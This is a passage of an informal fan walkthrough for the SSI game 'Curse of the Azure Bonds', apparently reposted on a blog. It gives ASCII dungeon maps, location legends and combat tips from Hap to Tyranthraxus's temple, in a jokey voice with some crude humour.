the ending. See the bond dissappear? Now you have to kill the other masters
of your bonds.....
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
15 | | | S8 | |
+DD+ + + + + + + + + + + + + + + +
14 | | | | | | |
+ +--+--+SS+ + + + + + + +--+ + + + +
13 | D5 | | 7 |8 | D9 |
+ + + + +--+--+--+DD+--+DD+--+ + + + + +
12 | | | 6 | |
+DD+--+--+--+ +--+DD+--+DD+--+--+--+--+--+--+--+
11 | D | | | | | |
+ + +DD+DD+--+ + + + + + + + + + + +
10 | | | D D D | | |
+ + + + + + + +--+--+--+--+ + + + + +
9 | | S | < D | D |
+--+--+ +--+--+SS+--+ + + + +--+DD+ +--+DD+
8 | | D | |
+ +--+--+--+SS+--+ +DD+--+--+DD+--+--+--+ + +
7 | D | | | | | |
+ + + + + + +DD+--+--+--+ + + + + + +
6 | | D | | | D4 4 |
+ +DD+--+ + + + + + + + + + +--+DD+--+ S
5 | | | | | D D | |
+ + + +--+DD+--+DD+--+DD+--+ + + + + + + E <-+-> W
4 | S D | | | |
+ + + +--+--+ +--+DD+--+--+--+--+DD+--+ + + |
3 | | | D | | | | | N
+SS+--+DD+ + + + + + + + + + + +--+DD+
2 | | | | |2 D 3 | |
+ + + +DD+--+DD+--+--+DD+ + + + +--+ + +
1 | | | | | | | |
+ + + + + + + + + +--+DD+--+DD+DD+ + +
0 | | | | D | |
+--+--+--+--+DD+--+--+DD+--+--+--+--+--+--+--+--+
1 1
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
1 = Enterence to Sewers
2 = Twirling Blades
3 = Frozen People (Interrogation)
4 = Torture Room
5 = Information
6 = Fire Knife check point
7 = Hospital
8 = Armoury
9 = Fire Knife Guildmaster fight.
4. OVERLAND MAP.
This is the first time you will be going overland, and because you can go in
many directions I'll give you some general advice. Go to all the places on the
map. At this stage DO NOT ENTER Yulash, Zhentil Keep or Hap just yet. Go to
all the towns pubs and listen to gossip. Travel by the wilderness and the
roads to discover some locations, items, and fights. Travel around the
overland gaining experience until your characters are around level 7 or 8.
Go to the Standing stone where a mysterious mentor will direct you to go
towards Hap. Make sure you are fully healed up.
5. VILLAGE OF HAP : 1 Level small village
This is where you will run into lots of Dark Elf patrols. Don't take any
Dark Elf equipment as it disintergrates in sunlight, so don't be caught
weaponless or armourless. Go to location 3 and meet Akbar Bel Akash the
greengrocer (he he he) and allow him to join the party. Walk around town and
fight about 7 or 8 Dark Elf patrols using location 3 as a base. After you have
killed of the patrols head for the barn, which is location number 4. Here you
will meet the Efreet and about 3 Dark Elves. Kill them and you will get a map
that will lead you to the cave of Hap.
+--+--+--+--+--+--+
14 | |##|
+ + + + + + +
13 | |##|
+ + + + + + +
12 | 4 |##|
+--+--+DD+--+--+--+
11 1 D | |
+--+--+ + + + +
10 | | D2 |
+ + + + +--+--+
9 | 2 D D 1
+--+--+ +--+--+--+
8 | | | |
+ +--+ + + + +
7 |2 | D3 |
+DD+ + + + + +
6 1 D | 3 |
+--+--+ +--+DD+--+
5 | | D 1
+ + + + +--+--+
4 | 2D D2 |
+--+DD+--+ + + +
3 | | | 2 |
+ + +--+ +--+DD+
2 | 2D D 1
+--+--+ + +--+--+
1 | | D2 | Ohh Shit. I forgot the compass.
+ +DD+ + + + +
0 | 2 | | |
+--+--+DD+DD+--+--+
1 1
0 1 2 3 4 5
1 = Exit to CavesWilderness
2 = Peasants
3 = Akbar Bel Akash
4 = Efreet & Dark Elves
6. DARK ELF CAVERN : 1 Level Volcanic Cave
Before you can even take a step inside you'll be attacked by a group of
Salamanders. First off, go around the corner in a southerly direction and meet
up with the Swanmays. If you have a woman in your party she will recieve the
mark of the Swanmays as well as a special quest. When you find the room full
of Salamanders, parlay slyly and you can open all six chests for some items and
mucho exps. Now run along and earn some experience points by killing off the
Drow Fighters, the Drow Clerics and then the Drow Mages. Standing outside the
door to point number 7, heal up and get enspelled for a battle with some
Efreets. Follow the corridor around the corner to the point 8, jump in feet
first and kill off the guards and salamanders. Heal, spell up, save and get
ready to face Crimdrac the Dracholich, hes no Thiszult, Rauglothgor or
Aghaztamn but hes still tough. Get close and surround him from all sides and
hack away. Becareful which spells you cast as he's immune to some, plus the
confined area.
11
+DD+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
9 | | | | D | |
+ + + + + + + + + + + + + + + + +
8 | D 10D | | D5 |
+ + + + + + + + + + +--+DD+--+ + + +
7 | | | | | 6 | | |
+--+--+--+--+ + + + + + +--+ + + +--+--+ W
6 | | 9 | | | | |
+ +--+DD+ +--+DD+--+--+--+--+DD+ + + + + + S <--+----> N
5 | | | | D | | | |
+DD+ + +--+--+--+ +--+--+--+DD+--+--+--+--+ + E
4 | | | | | D | | |
+ +--+--+ +DD+--+--+ + +--+--+ + +DD+ +DD+
3 | |7 | D D | | |
+DD+--+--+ + + + +--+--+--+--+--+--+ + + +
2 |8 | | | | |
+ + + + +--+--+--+--+DD+--+ + +--+DD+--+--+
1 | | | D |3 | | 4 |
+ + + +--+--+ + + + + + +--+ + + + +
0 | D | | D |2 | |
+--+--+--+--+DD+--+--+--+--+--+DD+--+--+--+--+--+
12 1
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
1 = Exit to Wilderness
2 = Salamanders
3 = Silk of the Swanmays
4 = Drow Fighters
5 = Salamanders. Talk sly.
6 = Drow Clerics
7 = Drow Mages
8 = Efreets
9 = Salamanders + Efreets
10 = Crimdrac the Dracholich
11 = Exit to tower
12 = Rubbled exit to Drow city
7. TOWER OF DRACANDROS : 5 Level Tower
TOWER OF DRACANDROS : LEVEL 5.
At the top of the tower you can either attack Dracandros or Parly nicely with
dragons as both will achieve the same result. Take out the Efreets and Drow.
Here you should rest up and save before going down the stairs.
+--+--+--+--+
3 | |2 |
+ + + +DD+
2 | 1 |
+ + + + +
1 | | N
+ + + + + |
0 | | |
+--+--+--+--+ W <--+--> E
|
0 1 2 3 S
1 = Fight Dracandros or Talk nice with Dragons.
2 = Stairs down.
TOWER OF DRACANDROS : LEVEL 4
As soon as you come down the stairs you will be attacked by a Drow Fighter.
He is very tough. Get close to him and hack away as well as cast spells like
Lightning and Magic Missles, etc as other spells are ranged and will help him
finish you off. Make sure you take his Plate Mail +4 and Shield +2. Go to
point 4 which is the Trial of the Sphere. Let Akabar do this for you. Don't
panic when it starts getting close as will move away and wipe out the other
guy. Now collect some nice treasure. Go back to point 3 if you want to play
with some Wyverns, nasty stuff them so get your group into position and guard
until they come at you. Spell them and hack away. Exit down the stairs to
level 3.
+--+--+--+--+--+
4 | 3 D 2 |
+ + + + +DD+
3 | | |1 |
+DD+--+--+ +--+
2 | | D D4 |
+ + + +--+ +
1 | D | | N
+--+--+ + + + |
0 |5 D | | |
+--+--+--+--+--+ W <--+--> E
|
0 1 2 3 4 S
1 = Stairs up to level 5
2 = Dark Elf Warrior
3 = Wyverns
4 = Trial of the Sphere
5 = Stairs down to level 3
TOWER OF DRACANDROS : LEVEL 3
Not much on this level. The Dark Elf warrior is an illusion. Before the
exit is some Owlbears and a few Drow fighters. Chew-em-up and spit-em-out so
you can get to level 2.
+--+--+--+--+--+--+
5 | D |4 |
+ + + + + +DD+
4 | | | |
+--+DD+--+--+DD+ +
3 | D 3 |
+ +--+--+ +--+DD+ N
2 | D | | | |
+ + + +DD+ + + |
1 | | | | | W <--+--> E
+ +--+DD+ +--+ + |
0 |2 D1 | D | S
+--+--+--+--+--+--+
0 1 2 3 4 5
1 = Stairs up to level 4
2 = Drow fighter Illusion
3 = Owlbears and Drow
4 = Stairs down to level 2
TOWER OF DRACANDROS : LEVEL 2
Ahhh, this is what I like, another small level with nothing happening. Don't
pickup the paper, its a bomb. Go to point 2 and find the pool, delve into the
bottom to retrieve Silks pod and then go to Dracandros' chambers and search for
some booty, then hit the stairs down.
+--+--+--+--+--+--+--+
6 | D 2 |
+ + +--+ +DD+--+DD+
5 | | | |1 |
+DD+--+DD+--+ + +--+
4 | | | D |
+ + + +--+--+--+ +
3 | D D |
+--+--+--+ +--+ + +
2 | 4 D | |
+ + + + +--+--+DD+
1 | 4 | | 3 |
+--+--+DD+DD+DD+ + +
0 |5 D | |
+--+--+--+--+--+--+--+
0 1 2 3 4 5 6
1 = Stairs Up to level 3
2 = Paper, Don't pickup
3 = Silks Pod.
4 = Dracandros' chambers
5 = Stairs down to level 1
TOWER OF DRACANDROS : LEVEL 1
Hey, another level with nothing happening. Walk around to the first door
then go straight ahead, confrot the Wyverns and heal up cause behind door
number 1 is the infamous Dracandros. Wipe out everybody with the usual
tactics, but DON'T try and hit Dracandros with melee weapons. Hit him only
with missile weapons and spells because he will cast a fireshield opon himself.
What? Don't know what a Fireshield is? Well, whatever damage you do to him
will be done to you in return but double. So if you hit him for 25hps you will
automatically lose 50hps, but this only works on melee weapons.... Snatch his
loot, wands especially as there is a wand of Icestorm and one of Fireballs.
Exit to the caves and give the pod to Silk, collect the treasure and head for
the standing stone.
+--+--+--+--+--+--+--+--+
10 | D D |
+ + +--+ + +--+ + +
9 | | | |
+--+DD+--+DD+--+--+--+DD+
8 | |
+ +--+--+--+DD+--+DD+--+
7 | D D | |
+ + + + + + + + +
6 | | | D |
+ +--+DD+--+DD+--+--+DD+ N
5 | D | | | |
+ + + + + + + + + |
4 | | D 2 D | W <--+--> E
+ +--+--+ + + + + + |
3 | D1 | D | | S
+--+--+--+--+DD+--+--+--+
2 | 3 |
+ + +==+==+ + + + +
1 | = = |
+ + +==+==+ + + + +
0 | D4
+--+--+--+--+--+--+--+--+
0 1 2 3 4 5 6 7
1 = Stairs up to level 2
2 = Wyverns
3 = Dracandros
4 = Exit to CavesWilderness
8. YULASH : 1 Level City
Travel from Hap to the Standing stone and talk with your mysterious mentor
who will direct you to "Seek Green to the NW". Head for Yulash where you can
have a mass orgy with the curvy cultists of Moander.
Ahh, what a lovely place, we got the Plumes, the Zhents, Mounds, Looters and
Cultists... The best thing to do is to ask permission to enter, talk sly and
go with the guards. You will find yourselves outside the captains room, walk
to the door and you will run into some Zhentish pigs. Kill the Zhents and talk
nice to the Commander (Who should notice that you have one of the Swanmays in
your party.....) he will give you free run of the ruins as well as the mess
hall and the sleeping quarters.
First off, heal and spell up then head out the front door and straight down
the corridor, round the corner and down to point 6 on the map, obviously you
will have to fight of Zhents and Shambling mounds which are pretty tough. Pop
into the room round the corner and heal up. Now proceed to point 7 and kill
the Shambling Mounds, this will let you get your hands on a wand of defoilation
and a wand of lightning bolts. The wand of defoilation is VERY effective on
mounds but save this for later when your inside the Pit of Moander. Now go to
point 7 near the north wall and enter the Pit of Moander......
1 7
+--+DD+--+--+--+--+--+--+--+--+--+DD+--+--+--+--+
15 | | | | | | |
+ + + + + + + + +--+--+--+ + + + + +
14 | |2 | | D |6 | |
+--+DD+ +DD+--+ + +DD+--+--+--+ +--+--+ + +
13 | | D3 | | D | N
+ + + + + + + +DD+--+--+DD+ + + + + + |
12 | 4 D | |## ## ##| | D | |
+--+DD+ + +--+--+--+--+--+--+ + +--+--+--+--+ W <--+--> E
11 | | | | | | |
+ + + + + + + + + + + + +--+--+--+DD+ S
10 | D D | | D | | |
+--+--+--+DD+--+--+ + +--+--+ + + + +DD+--+
9 1 D D | | | | |
+--+--+--+ +--+--+ + + + + + +DD+DD+--+ +
8 | | | | | | | 5 D D |
+ + + + + +--+DD+--+--+--+ + + + +--+--+
7 | | D | D | D |
+ +DD+--+ +--+ +--+--+--+--+DD+--+ + +--+--+
6 | | | D D | | | |
+--+DD+--+ +--+ + + +--+ +DD+ + + +--+DD+
5 | | | D | | | | |
+--+DD+--+ + + + + + + + + + + +--+--+
4 | | D | | | | | | | | |
+--+DD+--+ + + +--+--+DD+--+DD+--+ + + +DD+
3 | | | | D |
+--+DD+--+ +--+DD+DD+--+--+--+DD+--+--+ +--+--+
2 | D | | D | | | |
+ + + + + + + + + + + + +--+ + + +
1 | | D | | D D | D |
+DD+--+--+ + + +DD+--+--+--+--+DD+--+ +--+--+
0 | D 6 |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
1 = Exit to wilderness
2 = Mess hall
3 = Barricks
4 = Zhents
5 = Shambling Mounds + Wand of Defoilation
6 = Plumes Checkpoint
7 = Exit to Pit of Moander
9. PIT OF MOANDER: 2 Level Semi-abandoned Temple
Ohhh, ahhh, flippen cultists casting bloody Hold spells on you all the time.
Get in and out as fast as you can (But I have to map the fucken thing.....)
PIT OF MOANDER : LEVEL 1
Trundle down the corridor to the first door where you will smell baked bread.
Go through the door to point 1 and meet Alias and Dragonbait. Tell her the
truth and invite them into your party. Go back out to the main corridor and
head down to point 2 and exit down the stairs.
+--+--+--+--+--+--+--+--+
15 > | | N
+--+--+--+DD+ +--+DD+ + |
14 |## ##| | D D | | |
+ + + + + +--+--+DD+ W <--+--> E
13 |## ##| | | | | | |
+--+--+DD+--+ +--+ + + S
12 | | | D | |
+ + + + + +--+DD+ +
11 | 1 D | | | |
+--+--+--+DD+ + + + +
10 | | D |
+--+--+--+--+ +DD+--+ +
9 | D | | | | |
+ + + +--+ + + + +
8 | | D D | |
+--+DD+--+--+ +--+--+ +
7 | | | | |
+--+DD+--+--+ +--+DD+ +
6 | | D |
+ + + + +--+DD+--+ +
5 | | | | | |
+--+--+DD+--+--+ + + +
4 4 D | D D |
+ + + + +--+DD+--+ +
3 |3 | | | |
+DD+--+--+ +DD+ + + +
2 | | | | | |
+ +--+ + +DD+DD+DD+DD+
1 | |##| D | |2 |
+ +--+ +--+--+ + +--+
0 | |## ##| |##|
+--+--+--+--+--+--+--+--+
0 1 2 3 4 5 6 7
1 = Alias and Dragonbait
2 = Stairs Down to Pit Level 2
3 = Last ditch effort by cultists
4 = Exit to Wilderness
PIT OF MOANDER : LEVEL 2
At point 2 examine the Zhent to find some information. Proceed down to point
3 where you will find some cultists and slugs. Attack for surprise and make a
meal out of them. Proceed straight down the end of the corridor to point 4,
but before you enter the door heal, spell and save. This next attack comes in
2 waves. First you will be attacked by Mogion, Cultists, Shambling Mounds and
maybe even vegipygmies. Save your Wand of Defoilation. Before you end this
battle use heal spells and potions as the next battle starts straight away.
This time you will face 3 Bit'O'Moanders. This is where you use your wand of
defoilation. Go and search behind the altar to find Mogions stash. Now
somehow, heal and spell up. Run for the stairs at point 1 like a madman
possessed.
+--+--+--+--+--+--+--+--+
15 |## ##| 5 |## ##| N
+--+--+ +--+--+ +--+--+ |
14 | D D | |
+ + +--+ + +--+ + + W <--+--> E
13 | |##| |##| | |
+--+--+--+ + +--+--+--+ S
12 | D 4 4 D |
+ + +--+DD+DD+--+ + +
11 | D D |
+--+--+--+--+ +--+--+--+
10 | |##| | |##| |
+ + +--+ + +--+ + +
9 | D | D |
+DD+--+--+DD+ +--+--+--+
8 | |
+--+DD+--+DD+ +--+DD+--+
7 | |##| | |##| |
+ + +--+ + +--+ + +
6 | D | D |
+DD+--+--+DD+ +--+DD+--+
5 | 3 |
+DD+--+--+DD+ +--+--+DD+
4 | |##| | |##| | |
+ + +--+ + +--+ + +
3 | | | D D |
+DD+DD+--+--+ +--+--+DD+
2 | | | D |
+ + +--+ + +--+--+--+
1 | | |##| | |##| |1 |
+ +--+--+ + +--+DD+DD+
0 | D D 2 |
+--+--+--+--+--+--+--+--+
0 1 2 3 4 5 6 7
1 = Stairs Up to Pit Level 1
2 = Zhentish carcass
3 = Cultists & Slugs
4 = Cultists + 3 Pieces of Moander
5 = Mogions stash
PIT OF MOANDER : LEVEL 1
Go to point 4 and evade the slugs then head on to point 3. This is where the
cultists will make a last ditch attempt to stop the "Chosen Ones". Now exit
out into the wilderness. Camp and heal up.
See Map for Level 1.
10. ZHENTIL KEEP : 1 Level pigsty of goatbangers from hell.
Travel from Yulash to the Stone, just to be told to seek "Black to the north"
which means you got to go to the Zhentillar stronghold. (Mulmaster comes in
later)
Beware of HighPriests they cast Fireshield spells on themselves. Pretty
straight forward solution open to you (unlike me who had to map the thing).
From the enterence head up around the alleyways to point 11 where you will
meet Olive Ruskettle. Read the journal entries and follow her into the temple.
She will lead you to the cell of Dimswart the sage. Read his journal entry and
take him with you. Go into the room next door to point 15 and look in the
mirrors a few times, then exit the room and into the room in front of your
face, put search on and go to the west wall. Now your in the main chapel.
Again put search on and find the trapdoor. It is trapped so use a detect
spell. Inside is a Wand of Paralysation. Now go to the west wall and go down
the side until you meet a Medusa. Follow her, its your only way out. She will
deposit you at the feet of Dexam...... (Have not figured out how to get into
the room behind the magic shop, even though there are three doors into
it?????????)
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
15 | | | |14| S 16 |
+ + + +--+--+ + + +DD+ + + +--+ +--+ + S
14 | 2 D | | | 15D D | | |
+ + + + + + +--+--+ +--+--+ +--+ +--+ + E <--+--> W
13 |2 | D2 | | | | | 17| |
+DD+--+ + + + + + +DD+ + + +--+ +--+ + |
12 | | | |11| | D | | N
+ + + +--+--+ +DD+--+ +--+--+ +--+ +--+ +
11 |2 2 D | |12| | | |
+DD+--+ + + + +--+DD+ + + +--+DD+DD+DD+--+
10 | | | 2 D | | D D | | |
+ + + + + + + + + +--+--+--+ + + + +
9 | 2 D | | | | D D |
+ + + +--+--+ +--+--+DD+--+DD+--+ + + + +
8 | | | | | | | |17|
+--+--+ + + + +--+--+--+--+--+--+DD+DD+DD+--+
7 | | D10 | 13 13 13 |
+ + + + + + + + + + + + + + + + +
6 | 9 D | | |
+ + + +--+--+--+--+--+--+--+--+--+--+--+--+--+
5 | | | D D | |
+--+--+--+--+ + + + +--+DD+--+ + + + + +
4 | | | 7 | 5 | 4 | |
+ + + + + +--+DD+--+--+DD+--+--+DD+--+ + +
3 | | D3 |
+ + + + + + + + + + + + + + + + +
2 | | | |
+ + + + +--+DD+--+--+DD+--+--+DD+ + +--+--+
1 | | 8 | 6 | 2 | D2 |
+ + + + + + + + + + + + + + + + +
0 | D D | | | |
+--+--+--+--+--+--+--+--+--+--+--+--+DD+DD+--+--+
1 1
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
1 = Exit to Wilderness
2 = Private Individual Residence
3 = Inn
4 = Weaponry + Armoury
5 = Magic Shop
6 = Magistrates Office
7 = Equipment Shop
8 = Court Room
9 = Pub & Arena Betting
10 = Tavern
11 = Voice "Rest Up." Here you can encamp and Fix.
12 = Meeting with Olive Ruskettle
13 = 2 Attacks of Baneite priests
14 = Dimswart's Cell
15 = Scrying room
16 = Treasure. Wand of Paralysation
17 = Medusa Meeting. Exit to Dexams shrine.
11. DEXAMS SHRINE : 1 Level dungheap of a mixed breed.
What? Whaddaya mean Journal entry 59. I don't have a Journal Enrty 59.
Damn you Electronic Arts Australia. So much for quality control..... You
didn't even give me a complete Adventurers Journal... Argggghhhhhhhh......
Whoa, I have just finished mapping it, and by God it one hard place. Save
very often. I garuntee you will loose at least one character to Death if you
are not careful when you fight HighPriests...
First off you will meet Dexam the Beholder, then Fzoul and then you will lose
another Bond. Now for the hard part, escape. Travel out the door to the north
and make your way down to point 3 where you will find te remains of an Elven
fighter, this will give you a map (Journal Entry) as well as being able to use
the Area Option, also you should find some treasure. Now go from the bootom,
up around the side and along the tope to point 5 where you will find Dexam, a
Medusa and some Minotaurs. Get into close range to Dexam and hack away as he
alone can wipe out your party. Now travel down to point 6 and to the Exit at
7. Outside you will meet Olive Ruskettle as well as see Nacacia in the
background. At this point in time I have no idea what she is doing in it,
maybe she is a Harper????
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
15 | D | | | |4 | W
+DD+--+ + + + + + + + +--+--+--+--+ + + |
14 | | | 5 | | D | D | S <--+----> N
+--+DD+ +--+--+DD+--+--+ + + +--+--+ +--+--+ |
13 | | | | | | | D | | E
+ + + + +--+--+--+ + +--+ + + +--+--+ +
12 | | D | | | | | | D |
+ + +--+ + +--+ + +--+--+--+ +--+ + + +
11 | |6 | D | | | | | | |
+--+--+--+ + + +DD+--+--+--+--+--+ + + + +
10 | | | | |1 | | | | | | |
+ +--+--+--+ + + + + + + + + + + +--+
9 | | | | | | D | | |
+ + +--+DD+--+ + + + + +--+ + + +DD+ +
8 | | D | | | D | | | |
+ +--+--+--+ + + + + + + + + + +--+ +
7 | | | | | D |2 | D | |
+ +--+--+ + + +--+--+DD+--+ +--+ +--+--+ +
6 | | | | | | | | | | |
+ + + + + +--+--+ + + +DD+ +--+ +--+--+
5 | D | | | | | | | | |
+--+--+--+ +--+--+DD+--+ +--+--+--+ + + + +
4 7 D | | | | | | |
+--+--+ +DD+--+ + + + + +DD+--+--+ + + +
3 | | | | | | D | | |
+ +DD+ +--+DD+ + + +--+ +--+--+--+--+--+ +
2 | | | | | | | | | | |3 | |
+ +--+ +--+--+ +--+--+ + + + + +DD+ + +
1 | D | D | | | D | | |
+ +--+ +DD+--+--+ + + + +--+--+ +--+--+ +
0 | | | | | D |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
1 = Start. Dexam & Fzoul
2 = Parchment (Random in maze, but here is where I found it.)
3 = Elven Warrior skeletion. Map
4 = Teleport to 3
5 = Dexam, Medusa & Minotaurs
6 = Zhents. (The only fixed position fight I bothered to include.)
7 = Exit to Wilderness
12. MYTH DRANNOR : 1 Level Cemetary (Thank Mystra is not as hard as Valhingen)
Go to the Standing Stone where you will find that your helpfull friend is
actually Tyranthraxus in disguise. He will tell you to seek him in Myth
Drannor. Go to Myth Drannor and enter the city.
If you wish not to fight Thri-Kreen patrols, parlay and give the word
Tyranthraxus and they will let you go.
First thing to do is go to point 1 and greet the elven spirit, and in turn
she will tell you of a Thri-Kreen secret. Go around the corner to point 2
where you will meet some more Knights of Myth Drannor. Go to point 3 and talk
to the elven spirit of Princess DameirDemeaur(SP) and she will give you her
blessing. Advanve down to point 13 and 14. Replace the skeletons back in the
graves. Not go to point 4 where you will meet a Red Plume. Now, how could a
Red Plume have ancestors burried in an Elven Graveyard??? Accept and follow
him to a grave where he will show you his tru nature. Put the skeleton back in
the grave. Do not loot any bodies or else you won't get some valuable treausre
later on. Go to point 6 and bury the skeleton. At point 7 and 8 are nests of
spiders. Go to point 9 where you will be invited to speak with the Queen. Go
through the doors and talk with the Queen who will notice you have a Swanmay in
your party. She will give you some weapons to help defeat Tyranthraxus. At
point 12 you will meet the Nameless Bard. Point 15 houses some Thri-Kreen
guards and a cache of weapons and money. Go back to where you recieved the
Princesses blessing and walk through the trees next to the wall and you will
find yourself in the Ruins of Myth Drannor.
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
15 | |
+ +--+--+--+--+--+--+==+--+--+--+--+DD+--+--+DD+
14 | | D10 | = | | 7 D8 | | | | N
+ + + + + + +==+ + + + + + +==+==+ + |
13 | | | D9 D | | | | | | |
+ +DD+--+--+DD+ +==+ +--+DD+--+--+ +==+==+ + W <--+--> E
12 | |11 | = | | 5 | | |
+ +--+--+==+==+ +==+ + + +==+==+ +==+==+ + S
11 | | = = = = | =6 = = | | |
+ +--+--+--+--+DD+--+--+--+ +==+==+ +==+==+ +
10 | < = | | = = = | | |
+ + + +==+==+ +--+ + + +==+==+ +DD+--+ +
9 | = = > = | D | 4 |
+--+--+ +==+==+--+DD+--+DD+--+--+ + +--+--+--+
8 | = | | | | D | |
+==+ + + + + + + + + + + +DD+ + + +
7 | = D 12D | | | | | |
+==+ + + + +--+--+DD+--+DD+--+ + +--+DD+--+
6 | = | |15 D | |13D |
+==+ + +==+ + + + + +--+ + + +--+DD+--+
5 | = | = = | | | | 14 |
+==+--+ +==+ + + +--+--+ + + +DD+ + + +
4 | | | |
+==+ + + + +==+==+==+ + +==+ + +--+--+--+
3 | | = = = = = = = = = 17
+--+ + + + +==+==+==+ + +==+ + + +==+==+
2 | 2 = = |
+==+==+ + +--+--+DD+--+--+--+--+ + +==+==+==+
1 | = = 1 D 16 D =3 = = |
+==+==+ + +--+DD+DD+--+DD+--+--+ + +==+==+==+
0 | = = | | | | = = = |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
1 = Elven Spirit
2 = Knights of Myth Drannor
3 = Elven Princess. Recieve her blessing
4 = Red Plume
5 = Dessecrated Grave
6 = Dessecrated Grave
7 = Spiders Nest
8 = Spiders Nest
9 = Elf Maid spirit
10 = Suits of Armour
11 = Elf Queen Spirit. Recieve Weapons
12 = Nameless Bard
13 = Spiders
14 = Dessecrated Tomb
15 = Thri-Kreen weapons cache
16 = Thri-Kreen strength Web
17 = Path to Ruins of Myth Drannor
13. MYTH DRANNOR : 1 Level Ruins.
Right about now I started to get very bored with mapping, which wasn't helped
by the fact that three quarters of the walls in this maze are ruins and can be
walked through, so where most walls appear on the map, they can be walked
through. I also left out 1 or 2 encounters because I was eager to finish the
game. Parlay Haughtily with patrols and they will let you pass, else Parlay
slyly and pay a tithe.
First off you should meet a Rackshasa who will tell you about a gambling
habbit and a treasure trove. Follow him around the corner where you will
confronted by another Rackshasa. Ally yourself against Birsheya then go
through the dooe with Search on to find the treasure. Head down the path to
point three where you will meet a frightened man. Rescue him and he will tell
you where the treasure is. Walk through the wall to find a gambling den. At
point 6 Nameless will pop up again. The treasure is at point 5, you must have
search on to find it. At point 7 a deal will be struck by a Rackshasa if you
are confident enough. At point 8, its a trap, you will be attacked by a
Rackshasa and some margoyles.
9 9 9
+--+--+DD+--+--+--+--+DD+--+--+--+--+DD+--+--+--+
15 | | | | | | | |
+ + + + + + + + + + + + + + + + + N
14 | | | | | | | | |
+ + + +--+--+--+--+ +--+DD+DD+--+ +--+--+--+ |
13 | | | W <--+--> E
+--+--+--+ + +--+--+ + + +--+--+--+ + + + |
12 | 4 | | | D D | |5 | S
+ + +--+ + + + + +DD+ + + +--+ +--+==+
11 | | | | | | | | | |
+ +--+ + +--+--+--+ +--+--+ + + + + + +
10 | | | | | | | | |
+--+ + + + + + + + + + + + + + + +
9 | 3 | | | 7 D | | |
+--+--+--+ +--+--+ +--+--+--+--+DD+ + + + +
8 | | D | D 6 | |
+ + + + +--+--+ +--+ + +--+DD+ + +--+--+
7 | | | | | | | |
+ + + + + + + + + + + + + + + + +
6 | | | | | | | |
+ + + + + + + + +--+--+--+--+ +DD+--+--+
5 | | | | | |
+--+--+--+ + + + + +--+--+ +==+ + +--+--+
4 | D 1 | | | | = = | D |
+--+ + + +--+--+ + + + + +==+ +--+--+--+
3 | | | |
+--+--+--+ +--+--+ + +--+--+ +--+--+--+--+ +
2 | | | | | | | | | |
+ + + + + + + + + + + + + +--+--+ +
1 | 2 D | | | | | | |
+ + + + +--+--+ + + + + + + + + + +
0 | | | | | | |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
1 = Rackshasa. Assist him
2 = Treasure.
3 = Dying Man. Save for treasure location
4 = Gambling Den
5 = Treasure hoard
6 = Nameless Bard
7 = Rackshasa with a deal
8 = Ambush
9 = To Myth Drannor Temple
14. MYTH DRANNOR : 1 Level Temple.
This is another "I just want to finish the game" level. Few encounters are
marked on the map. You start out being called in and have to sit through a
length "Hit Enter" key story sequence. Sooner or later you gain control and
find yourselves inside a church style layout. Run out the door to points 3 and
4, this will wipe out most of the margoyle and hellhound attacks. Go to point
1 which are the stairs. This appears to be a two level structure but the maze
is all on one map so I left it at one level. The stairs will leave you point
2. Run round to point 5, but before you go in the door camp and use the Dust of
Dissapearance on the party. Go in and confront Tyranthraxus. He is a Storm
Giant with an AC of -5 and 100 HPs. Tough. Hack, Spell and shit on the
Margoyles and HighPriests. Don't forget to take out Tyranthraxus. Fingers
crossed that you have all three talismans otherwise you can't win.......
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
15 | | | | | D | | N
+ + + +--+DD+--+DD+--+ + + + + + + + + |
14 | D | | 5 | | | | D | |
+ + + + + + + + + + +--+DD+DD+ + + + W <--+--> E
13 | | | | | D | | | | |
+--+--+ +--+--+ + + +--+--+--+ + + +--+DD+ S
12 | | | | | | | D | |
+ + + + + + + + + + + + + + + + +
11 | D | | | | | | D |
+--+--+ +DD+ + + + +--+--+ + +DD+ +--+--+
10 | | 2 | | | | D | | D |
+ +DD+--+--+DD+--+--+--+ + +--+ + + + + +
9 | |##| | | |##| | D | |
+ + +--+DD+--+--+ + +--+DD+DD+DD+--+ +--+DD+
8 | D D | 1 | | |
+--+--+--+--+--+--+--+--+ + + + + + + + +
7 | | | D D |
+ + + + + + + + + + + + + + + + +
6 | 4 | 3 | | | |
+--+DD+--+--+DD+--+ +--+--+--+DD+--+--+DD+--+--+
5 D | | | |
+--+--+--+--+--+DD+DD+DD+--+--+--+--+--+ + + +
4 | | | | | D |
+ + + + + + + + + + + + + + + + +
3 | | | | | | | D D | |
+ + + + + + + + +--+DD+--+ + + + + +
2 | D D | | | |
+ + + + + + + + + +--+ +--+--+DD+--+--+
1 | | | | | | | | |
+ + + + + + + + + +--+ + + + + + +
0 | | | | |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
1 = Stairs Up
2 = Stairs Down
3 = Hellhound kennel
4 = Margoyle hangout
5 = Tyranthraxus
15. END
Now you can save you game and remove your characters so you can play the next
installment in the saga "Secret of the Silver Blades" where our good budy
Tyranthraxus makes a cameo appearance as Tyranthraxus (or The DreadLord I
think) See you in the next SSI chronical......
Regards,
=$-)
Dark Fiber [AIH]
Posted by Stu on 01/01/1990 at 08:07 AM Permalink to this post.
Filed Under : Life •
Tags: Advanced Dungeons and Dragons • CRPG • Curse of the Azure Bonds • Gold Box • SSI
(0) Comments
Filed Under : Life •
